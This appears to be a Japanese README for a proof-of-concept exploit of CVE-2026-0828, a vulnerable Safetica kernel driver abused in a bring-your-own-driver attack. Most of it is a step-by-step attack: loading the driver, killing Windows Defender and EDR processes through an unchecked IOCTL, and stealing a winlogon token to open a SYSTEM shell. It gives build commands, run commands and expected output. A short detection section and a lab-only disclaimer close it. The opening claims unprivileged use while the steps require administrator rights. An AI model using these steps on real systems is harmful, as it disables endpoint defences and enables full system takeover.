
CVE-2026-0828の概念実証エクスプロイト。Safetica ProcessMonitorDriver.sysのBYOVD脆弱性により、特権のないプロセスからPPL保護されたプロセスを終了させ、IOCTLの悪用とトークンの複製を介してSYSTEMへのローカル権限昇格が可能になります。
Safetica DLP カーネルドライバー (ProcessMonitorDriver.sys) は、認証されていない IOCTL を公開しており、任意のユーザーモード呼び出し元がカーネルコンテキスト内で ZwTerminateProcess を介して任意のプロセスを終了させ、PPL(Protected Process Light)保護をバイパスすることを可能にします。
CVSS: 8.8 (High) · Type: BYOVD, LPE · Platform: Windows x64
IOCTL 0xB822200C のハンドラー IRP_MJ_DEVICE_CONTROL は、入力バッファから直接供給された PID を使用して、ZwOpenProcess を PROCESS_ALL_ACCESS (0x1FFFFF) で呼び出し、続けて ZwTerminateProcess を呼び出します — 特権や呼び出し元の検証は一切行われません。
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
この呼び出しはカーネルコンテキストで発生するため、PPL で保護されたプロセス(Windows Defender、EDR エージェント)を終了させることができます。
影響を受けるバージョン: Safetica < 11.26.19 / < 10.5.150
修正されたバージョン: Safetica 11.26.19, 11.29.8, 10.5.150 — IOCTL ハンドラーに特権チェックが追加されました
参照: KOSEC Advisory · CERT VU#818729
管理者権限
│
├─► ProcessMonitorDriver.sys を読み込む
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► フェーズ 1: IOCTL 0xB822200C で EDR を強制終了
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► フェーズ 2: トークンの複製 → SYSTEM シェル
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| ファイル | 説明 |
|---|---|
exploit.c | 完全な PoC — EDR を強制終了し、NT AUTHORITY\SYSTEM cmd.exe を起動します |
Visual Studio (x64 Native Tools コマンドプロンプト) が必要です:
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
ステップ 1 — ドライバーを読み込む (管理者 CMD):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
ステップ 2 — PoC を実行:
exploit.exe
期待される出力:
[フェーズ 1] CVE-2026-0828 を使用して EDR を強制終了中...
MsMpEng.exe PID 3412 -> 強制終了
NisSrv.exe PID 4180 -> 強制終了
SeDebugPrivilege が有効になりました
winlogon.exe -> pid 560
[+] SYSTEM トークンハンドルを取得しました。
[+] トークンを複製しました。
シェルが起動しました
新しい cmd.exe ウィンドウが NT AUTHORITY\SYSTEM として開きます。
イベント ID 7045 — 新しいカーネルサービスのインストール:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
WDAC ブロックリスト (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: \\.\STProcessMonitorDriver への DeviceIoControl 呼び出しを監視します。
許可されたセキュリティ研究およびラボ用途のみ。所有していない、または書面による許可を得ていないシステムに対して使用しないでください。